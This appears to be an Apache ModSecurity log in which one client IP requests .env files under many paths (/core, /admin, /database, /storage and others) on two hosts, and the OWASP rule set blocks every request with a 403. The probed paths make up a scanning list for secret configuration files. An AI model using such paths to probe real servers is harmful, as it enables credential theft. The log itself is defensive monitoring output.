[Sat Oct 24 21:49:33.768837 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWagAAACE"]
[Sat Oct 24 21:49:33.769045 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWagAAACE"]
[Sat Oct 24 21:49:33.769360 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWagAAACE"]
[Sat Oct 24 21:49:33.813561 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at1gLT8oejtZfsaip1YpJwAAABE"]
[Sat Oct 24 21:49:33.813751 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at1gLT8oejtZfsaip1YpJwAAABE"]
[Sat Oct 24 21:49:33.814060 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at1gLT8oejtZfsaip1YpJwAAABE"]
[Sat Oct 24 21:49:33.837772 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWawAAACE"]
[Sat Oct 24 21:49:33.837912 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWawAAACE"]
[Sat Oct 24 21:49:33.838174 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWawAAACE"]
[Sat Oct 24 21:49:33.884773 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWbAAAACE"]
[Sat Oct 24 21:49:33.884982 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWbAAAACE"]
[Sat Oct 24 21:49:33.885220 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWbAAAACE"]
[Sat Oct 24 21:49:33.944297 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWbQAAACE"]
[Sat Oct 24 21:49:33.944525 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWbQAAACE"]
[Sat Oct 24 21:49:33.945111 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWbQAAACE"]
[Sat Oct 24 21:49:33.952268 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at1gLT8oejtZfsaip1YpKAAAABE"]
[Sat Oct 24 21:49:33.952431 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at1gLT8oejtZfsaip1YpKAAAABE"]
[Sat Oct 24 21:49:33.952660 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at1gLT8oejtZfsaip1YpKAAAABE"]
[Sat Oct 24 21:49:33.968937 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWbgAAACE"]
[Sat Oct 24 21:49:33.969089 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWbgAAACE"]
[Sat Oct 24 21:49:33.969312 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWbgAAACE"]
[Sat Oct 24 21:49:33.977520 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at1gLT8oejtZfsaip1YpKQAAABE"]
[Sat Oct 24 21:49:33.977687 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at1gLT8oejtZfsaip1YpKQAAABE"]
[Sat Oct 24 21:49:33.977943 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at1gLT8oejtZfsaip1YpKQAAABE"]
[Sat Oct 24 21:49:33.989145 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWbwAAACE"]
[Sat Oct 24 21:49:33.989326 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWbwAAACE"]
[Sat Oct 24 21:49:33.989620 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWbwAAACE"]
[Sat Oct 24 21:49:34.017838 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at1gLj8oejtZfsaip1YpKgAAABE"]
[Sat Oct 24 21:49:34.018029 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at1gLj8oejtZfsaip1YpKgAAABE"]
[Sat Oct 24 21:49:34.018329 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at1gLj8oejtZfsaip1YpKgAAABE"]
[Sat Oct 24 21:49:34.019399 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWcAAAACE"]
[Sat Oct 24 21:49:34.019538 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWcAAAACE"]
[Sat Oct 24 21:49:34.019755 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWcAAAACE"]
[Sat Oct 24 21:49:34.038390 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at1gLj8oejtZfsaip1YpKwAAABE"]
[Sat Oct 24 21:49:34.038554 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at1gLj8oejtZfsaip1YpKwAAABE"]
[Sat Oct 24 21:49:34.038867 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at1gLj8oejtZfsaip1YpKwAAABE"]
[Sat Oct 24 21:49:34.053360 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWcQAAACE"]
[Sat Oct 24 21:49:34.053531 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWcQAAACE"]
[Sat Oct 24 21:49:34.053779 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWcQAAACE"]
